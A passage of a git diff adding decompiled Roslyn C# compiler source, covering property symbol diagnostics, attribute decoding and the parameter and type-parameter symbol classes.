sourcePropertyAccessorSymbol = _getMethod ?? _setMethod; + if ((object)sourcePropertyAccessorSymbol != null) + { + if ((int)sourcePropertyAccessorSymbol.LocalAccessibility != 0) + { + diagnostics.Add(ErrorCode.ERR_AccessModMissingAccessor, Location, this); + } + if (sourcePropertyAccessorSymbol.LocalDeclaredReadOnly) + { + diagnostics.Add(ErrorCode.ERR_ReadOnlyModMissingAccessor, Location, this); + } + } + } + } + CheckAccessibilityMoreRestrictive(_getMethod, diagnostics); + CheckAccessibilityMoreRestrictive(_setMethod, diagnostics); + } + PropertySymbol propertySymbol = ExplicitInterfaceImplementations.FirstOrDefault(); + if ((object)propertySymbol != null) + { + CheckExplicitImplementationAccessor(GetMethod, propertySymbol.GetMethod, propertySymbol, diagnostics); + CheckExplicitImplementationAccessor(SetMethod, propertySymbol.SetMethod, propertySymbol, diagnostics); + } + Location typeLocation = TypeLocation; + CSharpCompilation declaringCompilation = DeclaringCompilation; + if ((object)_explicitInterfaceType != null) + { + ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier = GetExplicitInterfaceSpecifier(); + _explicitInterfaceType.CheckAllConstraints(declaringCompilation, conversions, (Location)new SourceLocation((SyntaxNode)(object)explicitInterfaceSpecifier.Name), diagnostics); + if ((object)propertySymbol != null) + { + TypeSymbol.CheckModifierMismatchOnImplementingMember(ContainingType, this, propertySymbol, isExplicit: true, diagnostics); + } + } + if ((int)_refKind == 3) + { + declaringCompilation.EnsureIsReadOnlyAttributeExists(diagnostics, typeLocation, modifyCompilation: true); + } + ParameterHelpers.EnsureRefKindAttributesExist(declaringCompilation, Parameters, diagnostics, modifyCompilation: true); + if (declaringCompilation.ShouldEmitNativeIntegerAttributes(base.Type)) + { + declaringCompilation.EnsureNativeIntegerAttributeExists(diagnostics, typeLocation, modifyCompilation: true); + } + ParameterHelpers.EnsureNativeIntegerAttributeExists(declaringCompilation, Parameters, diagnostics, modifyCompilation: true); + ParameterHelpers.EnsureScopedRefAttributeExists(declaringCompilation, Parameters, diagnostics, modifyCompilation: true); + if (declaringCompilation.ShouldEmitNullableAttributes(this) && TypeWithAnnotations.NeedsNullableAttribute()) + { + declaringCompilation.EnsureNullableAttributeExists(diagnostics, typeLocation, modifyCompilation: true); + } + ParameterHelpers.EnsureNullableAttributeExists(declaringCompilation, this, Parameters, diagnostics, modifyCompilation: true); + } + + private void CheckAccessibility(Location location, BindingDiagnosticBag diagnostics, bool isExplicitInterfaceImplementation) + { + ModifierUtils.CheckAccessibility(_modifiers, this, isExplicitInterfaceImplementation, diagnostics, location); + } + + private void CheckModifiers(bool isExplicitInterfaceImplementation, Location location, bool isIndexer, BindingDiagnosticBag diagnostics) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Invalid comparison between Unknown and I4 + //IL_00e7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ee: Invalid comparison between Unknown and I4 + //IL_011d: Unknown result type (might be due to invalid IL or missing references) + //IL_0124: Invalid comparison between Unknown and I4 + //IL_01e4: Unknown result type (might be due to invalid IL or missing references) + //IL_01bb: Unknown result type (might be due to invalid IL or missing references) + bool flag = isExplicitInterfaceImplementation && ContainingType.IsInterface; + if ((int)DeclaredAccessibility == 1 && (IsVirtual || (IsAbstract && !flag) || IsOverride)) + { + diagnostics.Add(ErrorCode.ERR_VirtualPrivate, location, this); + } + else if (IsStatic && HasReadOnlyModifier) + { + diagnostics.Add(ErrorCode.ERR_StaticMemberCantBeReadOnly, location, this); + } + else if (IsOverride && (IsNew || IsVirtual)) + { + diagnostics.Add(ErrorCode.ERR_OverrideNotNew, location, this); + } + else if (IsSealed && !IsOverride && !(IsAbstract && flag)) + { + diagnostics.Add(ErrorCode.ERR_SealedNonOverride, location, this); + } + else if (IsAbstract && (int)ContainingType.TypeKind == 10) + { + diagnostics.Add(ErrorCode.ERR_BadMemberFlag, location, SyntaxFacts.GetText(SyntaxKind.AbstractKeyword)); + } + else if (IsVirtual && (int)ContainingType.TypeKind == 10) + { + diagnostics.Add(ErrorCode.ERR_BadMemberFlag, location, SyntaxFacts.GetText(SyntaxKind.VirtualKeyword)); + } + else if (IsAbstract && IsExtern) + { + diagnostics.Add(ErrorCode.ERR_AbstractAndExtern, location, this); + } + else if (IsAbstract && IsSealed && !flag) + { + diagnostics.Add(ErrorCode.ERR_AbstractAndSealed, location, this); + } + else if (IsAbstract && IsVirtual) + { + diagnostics.Add(ErrorCode.ERR_AbstractNotVirtual, location, Kind.Localize(), this); + } + else if (ContainingType.IsSealed && DeclaredAccessibility.HasProtected() && !IsOverride) + { + diagnostics.Add(AccessCheck.GetProtectedMemberInSealedTypeError(ContainingType), location, this); + } + else if (ContainingType.IsStatic && !IsStatic) + { + ErrorCode code = (isIndexer ? ErrorCode.ERR_IndexerInStaticClass : ErrorCode.ERR_InstanceMemberInStaticClass); + diagnostics.Add(code, location, this); + } + } + + private void CheckAccessibilityMoreRestrictive(SourcePropertyAccessorSymbol accessor, BindingDiagnosticBag diagnostics) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + if ((object)accessor != null && !IsAccessibilityMoreRestrictive(DeclaredAccessibility, accessor.LocalAccessibility)) + { + diagnostics.Add(ErrorCode.ERR_InvalidPropertyAccessMod, accessor.GetFirstLocation(), accessor, this); + } + } + + private static bool IsAccessibilityMoreRestrictive(Accessibility property, Accessibility accessor) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + if ((int)accessor == 0) + { + return true; + } + if (accessor < property) + { + if ((int)accessor == 3) + { + return (int)property != 4; + } + return true; + } + return false; + } + + private static void CheckAbstractPropertyAccessorNotPrivate(SourcePropertyAccessorSymbol accessor, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)accessor.LocalAccessibility == 1) + { + diagnostics.Add(ErrorCode.ERR_PrivateAbstractAccessor, accessor.GetFirstLocation(), accessor); + } + } + + public override string GetDocumentationCommentXml(CultureInfo preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return SourceDocumentationCommentUtils.GetAndCacheDocumentationComment(this, expandIncludes, ref expandIncludes ? ref _lazyExpandedDocComment : ref _lazyDocComment); + } + + private void CheckExplicitImplementationAccessor(MethodSymbol thisAccessor, MethodSymbol otherAccessor, PropertySymbol explicitlyImplementedProperty, BindingDiagnosticBag diagnostics) + { + bool flag = (object)thisAccessor != null; + bool flag2 = otherAccessor.IsImplementable(); + if (flag2 && !flag) + { + diagnostics.Add(ErrorCode.ERR_ExplicitPropertyMissingAccessor, Location, this, otherAccessor); + } + else if (!flag2 && flag) + { + diagnostics.Add(ErrorCode.ERR_ExplicitPropertyAddingAccessor, thisAccessor.GetFirstLocation(), thisAccessor, explicitlyImplementedProperty); + } + else if (TypeSymbol.HaveInitOnlyMismatch(thisAccessor, otherAccessor)) + { + diagnostics.Add(ErrorCode.ERR_ExplicitPropertyMismatchInitOnly, thisAccessor.GetFirstLocation(), thisAccessor, otherAccessor); + } + } + + private SynthesizedSealedPropertyAccessor MakeSynthesizedSealedAccessor() + { + if ((object)GetMethod != null) + { + MethodSymbol ownOrInheritedSetMethod = this.GetOwnOrInheritedSetMethod(); + if ((object)ownOrInheritedSetMethod != null) + { + return new SynthesizedSealedPropertyAccessor(this, ownOrInheritedSetMethod); + } + return null; + } + if ((object)SetMethod != null) + { + MethodSymbol ownOrInheritedGetMethod = this.GetOwnOrInheritedGetMethod(); + if ((object)ownOrInheritedGetMethod != null) + { + return new SynthesizedSealedPropertyAccessor(this, ownOrInheritedGetMethod); + } + return null; + } + return null; + } + + private CustomAttributesBag GetAttributesBag() + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + CustomAttributesBag lazyCustomAttributesBag = _lazyCustomAttributesBag; + if (lazyCustomAttributesBag != null && lazyCustomAttributesBag.IsSealed) + { + return lazyCustomAttributesBag; + } + BackingField?.GetAttributes(); + if (LoadAndValidateAttributes(OneOrMany.Create>(AttributeDeclarationSyntaxList), ref _lazyCustomAttributesBag)) + { + _state.NotePartComplete(CompletionPart.Attributes); + } + return _lazyCustomAttributesBag; + } + + public sealed override ImmutableArray GetAttributes() + { + return GetAttributesBag().Attributes; + } + + private PropertyWellKnownAttributeData GetDecodedWellKnownAttributeData() + { + CustomAttributesBag val = _lazyCustomAttributesBag; + if (val == null || !val.IsDecodedWellKnownAttributeDataComputed) + { + val = GetAttributesBag(); + } + return (PropertyWellKnownAttributeData)(object)val.DecodedWellKnownAttributeData; + } + + internal PropertyEarlyWellKnownAttributeData GetEarlyDecodedWellKnownAttributeData() + { + CustomAttributesBag val = _lazyCustomAttributesBag; + if (val == null || !val.IsEarlyDecodedWellKnownAttributeDataComputed) + { + val = GetAttributesBag(); + } + return (PropertyEarlyWellKnownAttributeData)(object)val.EarlyDecodedWellKnownAttributeData; + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = DeclaringCompilation; + TypeWithAnnotations typeWithAnnotations = TypeWithAnnotations; + if (typeWithAnnotations.Type.ContainsDynamic()) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.SynthesizeDynamicAttribute(typeWithAnnotations.Type, typeWithAnnotations.CustomModifiers.Length + RefCustomModifiers.Length, _refKind)); + } + if (declaringCompilation.ShouldEmitNativeIntegerAttributes(typeWithAnnotations.Type)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeNativeIntegerAttribute(this, typeWithAnnotations.Type)); + } + if (typeWithAnnotations.Type.ContainsTupleNames()) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.SynthesizeTupleNamesAttribute(typeWithAnnotations.Type)); + } + if (declaringCompilation.ShouldEmitNullableAttributes(this)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeNullableAttributeIfNecessary(this, ContainingType.GetNullableContextValue(), typeWithAnnotations)); + } + if (base.ReturnsByRefReadonly) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeIsReadOnlyAttribute(this)); + } + if (IsRequired) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)469)); + } + } + + internal override (CSharpAttributeData?, BoundAttribute?) EarlyDecodeWellKnownAttribute(ref EarlyDecodeWellKnownAttributeArguments arguments) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + if (Symbol.EarlyDecodeDeprecatedOrExperimentalOrObsoleteAttribute(ref arguments, out CSharpAttributeData attributeData, out BoundAttribute boundAttribute, out ObsoleteAttributeData obsoleteData)) + { + if (obsoleteData != null) + { + ((CommonPropertyEarlyWellKnownAttributeData)arguments.GetOrCreateData()).ObsoleteAttributeData = obsoleteData; + } + return (attributeData, boundAttribute); + } + if (CSharpAttributeData.IsTargetEarlyAttribute(arguments.AttributeType, arguments.AttributeSyntax, AttributeDescription.IndexerNameAttribute)) + { + (attributeData, boundAttribute) = arguments.Binder.GetAttribute(arguments.AttributeSyntax, arguments.AttributeType, null, null, out var generatedDiagnostics); + if (!((AttributeData)attributeData).HasErrors) + { + TypedConstant val = ((AttributeData)attributeData).CommonConstructorArguments[0]; + string text = ((TypedConstant)(ref val)).DecodeValue((SpecialType)20); + if (text != null) + { + arguments.GetOrCreateData().IndexerName = text; + } + if (!generatedDiagnostics) + { + return (attributeData, boundAttribute); + } + } + return (null, null); + } + return base.EarlyDecodeWellKnownAttribute(ref arguments); + } + + protected override void DecodeWellKnownAttributeImpl(ref DecodeWellKnownAttributeArguments arguments) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Unknown result type (might be due to invalid IL or missing references) + //IL_010b: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + //IL_0154: Unknown result type (might be due to invalid IL or missing references) + //IL_0182: Unknown result type (might be due to invalid IL or missing references) + BindingDiagnosticBag bindingDiagnosticBag = (BindingDiagnosticBag)(object)arguments.Diagnostics; + CSharpAttributeData attribute = arguments.Attribute; + if (attribute.IsTargetAttribute(this, AttributeDescription.IndexerNameAttribute)) + { + ValidateIndexerNameAttribute(attribute, arguments.AttributeSyntaxOpt, bindingDiagnosticBag); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.SpecialNameAttribute)) + { + ((CommonPropertyWellKnownAttributeData)arguments.GetOrCreateData()).HasSpecialNameAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.ExcludeFromCodeCoverageAttribute)) + { + ((CommonPropertyWellKnownAttributeData)arguments.GetOrCreateData()).HasExcludeFromCodeCoverageAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.SkipLocalsInitAttribute)) + { + CSharpAttributeData.DecodeSkipLocalsInitAttribute(DeclaringCompilation, ref arguments); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.DynamicAttribute)) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_ExplicitDynamicAttr, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + } + else + { + if (ReportExplicitUseOfReservedAttributes(in arguments, ReservedAttributes.DynamicAttribute | ReservedAttributes.IsReadOnlyAttribute | ReservedAttributes.IsUnmanagedAttribute | ReservedAttributes.IsByRefLikeAttribute | ReservedAttributes.TupleElementNamesAttribute | ReservedAttributes.NullableAttribute | ReservedAttributes.NativeIntegerAttribute | ReservedAttributes.RequiredMemberAttribute | ReservedAttributes.RequiresLocationAttribute)) + { + return; + } + if (attribute.IsTargetAttribute(this, AttributeDescription.DisallowNullAttribute)) + { + arguments.GetOrCreateData().HasDisallowNullAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.AllowNullAttribute)) + { + arguments.GetOrCreateData().HasAllowNullAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.MaybeNullAttribute)) + { + arguments.GetOrCreateData().HasMaybeNullAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.NotNullAttribute)) + { + arguments.GetOrCreateData().HasNotNullAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.MemberNotNullAttribute)) + { + MessageID.IDS_FeatureMemberNotNull.CheckFeatureAvailability(bindingDiagnosticBag, (SyntaxNode)(object)arguments.AttributeSyntaxOpt); + CSharpAttributeData.DecodeMemberNotNullAttribute((TypeSymbol)ContainingType, ref arguments); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.MemberNotNullWhenAttribute)) + { + MessageID.IDS_FeatureMemberNotNull.CheckFeatureAvailability(bindingDiagnosticBag, (SyntaxNode)(object)arguments.AttributeSyntaxOpt); + CSharpAttributeData.DecodeMemberNotNullWhenAttribute((TypeSymbol)ContainingType, ref arguments); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.UnscopedRefAttribute)) + { + if (IsValidUnscopedRefAttributeTarget()) + { + arguments.GetOrCreateData().HasUnscopedRefAttribute = true; + } + else + { + bindingDiagnosticBag.Add(ErrorCode.ERR_UnscopedRefAttributeUnsupportedMemberTarget, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + } + } + } + } + + private bool IsValidUnscopedRefAttributeTarget() + { + if (isNullOrValidAccessor(_getMethod)) + { + return isNullOrValidAccessor(_setMethod); + } + return false; + static bool isNullOrValidAccessor(MethodSymbol? accessor) + { + return accessor?.IsValidUnscopedRefAttributeTarget() ?? true; + } + } + + private SourceAttributeData FindAttribute(AttributeDescription attributeDescription) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return (SourceAttributeData)GetAttributes().First((CSharpAttributeData a) => a.IsTargetAttribute(this, attributeDescription)); + } + + private ImmutableArray FindAttributes(AttributeDescription attributeDescription) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return (from a in GetAttributes() + where a.IsTargetAttribute(this, attributeDescription) + select a).Cast().ToImmutableArray(); + } + + internal override void PostDecodeWellKnownAttributes(ImmutableArray boundAttributes, ImmutableArray allAttributeSyntaxNodes, BindingDiagnosticBag diagnostics, AttributeLocation symbolPart, WellKnownAttributeData decodedData) + { + base.PostDecodeWellKnownAttributes(boundAttributes, allAttributeSyntaxNodes, diagnostics, symbolPart, decodedData); + } + + private void ValidateIndexerNameAttribute(CSharpAttributeData attribute, AttributeSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + if (!IsIndexer || IsExplicitInterfaceImplementation) + { + diagnostics.Add(ErrorCode.ERR_BadIndexerNameAttr, ((SyntaxNode)node.Name).Location, node.GetErrorDisplayName()); + return; + } + TypedConstant val = ((AttributeData)attribute).CommonConstructorArguments[0]; + string text = ((TypedConstant)(ref val)).DecodeValue((SpecialType)20); + if (text == null || !SyntaxFacts.IsValidIdentifier(text)) + { + diagnostics.Add(ErrorCode.ERR_BadArgumentToAttribute, ((SyntaxNode)node.ArgumentList.Arguments[0]).Location, node.GetErrorDisplayName()); + } + } + + internal sealed override bool HasComplete(CompletionPart part) + { + return _state.HasComplete(part); + } + + internal override void ForceComplete(SourceLocation locationOpt, CancellationToken cancellationToken) + { + while (true) + { + cancellationToken.ThrowIfCancellationRequested(); + CompletionPart nextIncompletePart = _state.NextIncompletePart; + switch (nextIncompletePart) + { + case CompletionPart.Attributes: + GetAttributes(); + break; + case CompletionPart.StartBaseType: + case CompletionPart.FinishBaseType: + EnsureSignature(); + break; + case CompletionPart.StartInterfaces: + case CompletionPart.FinishInterfaces: + if (_state.NotePartComplete(CompletionPart.StartInterfaces)) + { + if (Parameters.Length > 0) + { + BindingDiagnosticBag instance2 = BindingDiagnosticBag.GetInstance(); + TypeConversions typeConversions2 = ContainingAssembly.CorLibrary.TypeConversions; + ImmutableArray.Enumerator enumerator = Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + current.ForceComplete(locationOpt, cancellationToken); + current.Type.CheckAllConstraints(DeclaringCompilation, typeConversions2, current.GetFirstLocation(), instance2); + } + AddDeclarationDiagnostics(instance2); + ((BindingDiagnosticBag)(object)instance2).Free(); + } + DeclaringCompilation.SymbolDeclaredEvent(this); + _state.NotePartComplete(CompletionPart.FinishInterfaces); + } + else + { + _state.SpinWaitComplete(CompletionPart.FinishInterfaces, cancellationToken); + } + break; + case CompletionPart.EnumUnderlyingType: + case CompletionPart.TypeArguments: + if (_state.NotePartComplete(CompletionPart.EnumUnderlyingType)) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + TypeConversions typeConversions = ContainingAssembly.CorLibrary.TypeConversions; + base.Type.CheckAllConstraints(DeclaringCompilation, typeConversions, Location, instance); + ValidatePropertyType(instance); + AddDeclarationDiagnostics(instance); + _state.NotePartComplete(CompletionPart.TypeArguments); + ((BindingDiagnosticBag)(object)instance).Free(); + } + else + { + _state.SpinWaitComplete(CompletionPart.TypeArguments, cancellationToken); + } + break; + case CompletionPart.None: + return; + default: + _state.NotePartComplete(CompletionPart.NamespaceSymbolAll | CompletionPart.ReturnTypeAttributes | CompletionPart.Parameters | CompletionPart.Type | CompletionPart.TypeParameters | CompletionPart.TypeMembers | CompletionPart.SynthesizedExplicitImplementations | CompletionPart.StartMemberChecks | CompletionPart.FinishMemberChecks | CompletionPart.MembersCompletedChecksStarted); + break; + } + _state.SpinWaitComplete(nextIncompletePart, cancellationToken); + } + } + + protected virtual void ValidatePropertyType(BindingDiagnosticBag diagnostics) + { + TypeSymbol type = base.Type; + if (type.IsRestrictedType(ignoreSpanLikeTypes: true)) + { + diagnostics.Add(ErrorCode.ERR_FieldCantBeRefAny, TypeLocation, type); + } + else if (IsAutoPropertyWithGetAccessor && type.IsRefLikeType && (IsStatic || !ContainingType.IsRefLikeType)) + { + diagnostics.Add(ErrorCode.ERR_FieldAutoPropCantBeByRefLike, TypeLocation, type); + } + if (type.IsStatic) + { + if ((object)GetMethod != null) + { + diagnostics.Add(ErrorFacts.GetStaticClassReturnCode(ContainingType.IsInterfaceType()), TypeLocation, type); + } + else if ((object)SetMethod != null) + { + diagnostics.Add(ErrorFacts.GetStaticClassParameterCode(ContainingType.IsInterfaceType()), TypeLocation, type); + } + } + } + + protected abstract (TypeWithAnnotations Type, ImmutableArray Parameters) MakeParametersAndBindType(BindingDiagnosticBag diagnostics); + + protected static ExplicitInterfaceSpecifierSyntax? GetExplicitInterfaceSpecifier(SyntaxNode syntax) + { + return (syntax as BasePropertyDeclarationSyntax)?.ExplicitInterfaceSpecifier; + } + + internal ExplicitInterfaceSpecifierSyntax? GetExplicitInterfaceSpecifier() + { + return GetExplicitInterfaceSpecifier((SyntaxNode)(object)CSharpSyntaxNode); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceSimpleParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceSimpleParameterSymbol.cs new file mode 100644 index 0000000..542788c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceSimpleParameterSymbol.cs @@ -0,0 +1,76 @@ +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourceSimpleParameterSymbol : SourceParameterSymbol +{ + public override bool IsDiscard => false; + + internal override ConstantValue? ExplicitDefaultConstantValue => null; + + internal override bool IsMetadataOptional => false; + + public override bool IsParams => false; + + internal override bool HasDefaultArgumentSyntax => false; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + internal override SyntaxReference? SyntaxReference => null; + + internal override bool IsExtensionMethodThis => false; + + internal override bool IsIDispatchConstant => false; + + internal override bool IsIUnknownConstant => false; + + internal override bool IsCallerFilePath => false; + + internal override bool IsCallerLineNumber => false; + + internal override bool IsCallerMemberName => false; + + internal override int CallerArgumentExpressionParameterIndex => -1; + + internal override ImmutableArray InterpolatedStringHandlerArgumentIndexes => ImmutableArray.Empty; + + internal override bool HasInterpolatedStringHandlerArgumentError => false; + + internal override FlowAnalysisAnnotations FlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + internal override ImmutableHashSet NotNullIfParameterNotNull => ImmutableHashSet.Empty; + + internal override MarshalPseudoCustomAttributeData? MarshallingInformation => null; + + internal override bool HasOptionalAttribute => false; + + internal override SyntaxList AttributeDeclarationList => default(SyntaxList); + + internal override ConstantValue DefaultValueFromAttributes => null; + + internal override ScopedKind EffectiveScope => CalculateEffectiveScopeIgnoringAttributes(); + + internal override bool HasUnscopedRefAttribute => false; + + public SourceSimpleParameterSymbol(Symbol owner, TypeWithAnnotations parameterType, int ordinal, RefKind refKind, ScopedKind scope, string name, ImmutableArray locations) + : this(owner, parameterType, ordinal, refKind, scope, name, locations.FirstOrDefault()) + { + }//IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + + + public SourceSimpleParameterSymbol(Symbol owner, TypeWithAnnotations parameterType, int ordinal, RefKind refKind, ScopedKind scope, string name, Location? location) + : base(owner, parameterType, ordinal, refKind, scope, name, location) + { + }//IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + + + internal override CustomAttributesBag GetAttributesBag() + { + state.NotePartComplete(CompletionPart.Attributes); + return CustomAttributesBag.Empty; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceTypeParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceTypeParameterSymbol.cs new file mode 100644 index 0000000..c8b3e89 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceTypeParameterSymbol.cs @@ -0,0 +1,71 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourceTypeParameterSymbol : SourceTypeParameterSymbolBase +{ + private readonly SourceNamedTypeSymbol _owner; + + private readonly VarianceKind _varianceKind; + + public override TypeParameterKind TypeParameterKind => (TypeParameterKind)0; + + public override Symbol ContainingSymbol => _owner; + + public override VarianceKind Variance => _varianceKind; + + public override bool HasConstructorConstraint => (GetConstraintKinds() & TypeParameterConstraintKind.Constructor) != 0; + + public override bool HasValueTypeConstraint => (GetConstraintKinds() & TypeParameterConstraintKind.AllValueTypeKinds) != 0; + + public override bool IsValueTypeFromConstraintTypes => (GetConstraintKinds() & TypeParameterConstraintKind.ValueTypeFromConstraintTypes) != 0; + + public override bool HasReferenceTypeConstraint => (GetConstraintKinds() & TypeParameterConstraintKind.ReferenceType) != 0; + + public override bool IsReferenceTypeFromConstraintTypes => (GetConstraintKinds() & TypeParameterConstraintKind.ReferenceTypeFromConstraintTypes) != 0; + + internal override bool? ReferenceTypeConstraintIsNullable => CalculateReferenceTypeConstraintIsNullable(GetConstraintKinds()); + + public override bool HasNotNullConstraint => (GetConstraintKinds() & TypeParameterConstraintKind.NotNull) != 0; + + internal override bool? IsNotNullable + { + get + { + if ((GetConstraintKinds() & TypeParameterConstraintKind.ObliviousNullabilityIfReferenceType) != TypeParameterConstraintKind.None) + { + return null; + } + return CalculateIsNotNullable(); + } + } + + public override bool HasUnmanagedTypeConstraint => (GetConstraintKinds() & TypeParameterConstraintKind.Unmanaged) != 0; + + protected override ImmutableArray ContainerTypeParameters => _owner.TypeParameters; + + public SourceTypeParameterSymbol(SourceNamedTypeSymbol owner, string name, int ordinal, VarianceKind varianceKind, ImmutableArray locations, ImmutableArray syntaxRefs) + : base(name, ordinal, locations, syntaxRefs) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + _owner = owner; + _varianceKind = varianceKind; + } + + protected override TypeParameterBounds ResolveBounds(ConsList inProgress, BindingDiagnosticBag diagnostics) + { + ImmutableArray typeParameterConstraintTypes = _owner.GetTypeParameterConstraintTypes(Ordinal); + if (typeParameterConstraintTypes.IsEmpty && GetConstraintKinds() == TypeParameterConstraintKind.None) + { + return null; + } + return this.ResolveBounds(ContainingAssembly.CorLibrary, ConsListExtensions.Prepend(inProgress, (TypeParameterSymbol)this), typeParameterConstraintTypes, inherited: false, DeclaringCompilation, diagnostics); + } + + private TypeParameterConstraintKind GetConstraintKinds() + { + return _owner.GetTypeParameterConstraintKind(Ordinal); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceTypeParameterSymbolBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceTypeParameterSymbolBase.cs new file mode 100644 index 0000000..84c57f3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceTypeParameterSymbolBase.cs @@ -0,0 +1,336 @@ +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceTypeParameterSymbolBase : TypeParameterSymbol, IAttributeTargetSymbol +{ + private readonly ImmutableArray _syntaxRefs; + + private readonly ImmutableArray _locations; + + private readonly string _name; + + private readonly short _ordinal; + + private SymbolCompletionState _state; + + private CustomAttributesBag _lazyCustomAttributesBag; + + private TypeParameterBounds _lazyBounds = TypeParameterBounds.Unset; + + public override ImmutableArray Locations => _locations; + + public override ImmutableArray DeclaringSyntaxReferences => _syntaxRefs; + + internal ImmutableArray SyntaxReferences => _syntaxRefs; + + public override int Ordinal => _ordinal; + + public override VarianceKind Variance => (VarianceKind)0; + + public override string Name => _name; + + internal ImmutableArray> MergedAttributeDeclarationSyntaxLists + { + get + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder> instance = ArrayBuilder>.GetInstance(); + ImmutableArray.Enumerator enumerator = _syntaxRefs.GetEnumerator(); + while 